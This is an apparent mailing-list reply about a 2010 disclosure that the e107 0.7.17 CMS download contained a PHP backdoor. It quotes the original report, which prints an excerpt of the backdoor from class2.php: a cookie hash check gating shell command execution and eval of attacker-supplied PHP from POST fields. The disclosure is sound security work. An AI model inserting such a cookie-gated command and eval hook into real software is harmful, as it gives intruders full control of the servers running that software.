I`ve just checked the archive. The latest version of the file class2.php was
changed on 2010/01/21 03:57:43 and it does not contain the malicious code.
It has been probably replaced already, or we are using different mirrors.
Valery Marchuk
www.SecurityLab.ru
----- Original Message -----
From: "Bogdan Calin" <bogdan@xxxxxxxxxxxx>
To: <full-disclosure@xxxxxxxxxxxxxxxxx>
Cc: <bugtraq@xxxxxxxxxxxxxxxxx>
Sent: Monday, January 25, 2010 12:58 PM
Subject: e107 latest download link is backdoored
Hi guys,
The latest version of e107, version 0.7.17 contains a PHP backdoor.
http://e107.org/e107_files/downloads/e107_v0.7.17_full.zip
I've just downloaded this file and while looking through the code, I've
found the following piece of code:
file: class2.php, line: 1876
if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {
...
if(!empty($_POST['cmd'])){
$out = execute($_POST['cmd']);
}
elseif(!empty($_POST['php'])){
ob_start();
eval($_POST['php']);
$out = ob_get_contents();
ob_end_clean();
}
...
and so on.
I've informed the e107 guys about this situation.
For now, that link is not safe.
Look at the file date, class2.php has been modified on 2010-01-23,
21:52:26
--
Bogdan Calin - bogdan@xxxxxxxxxxxx
CTO
Acunetix Ltd. - http://www.acunetix.com
Acunetix Web Security Blog - http://www.acunetix.com/blog
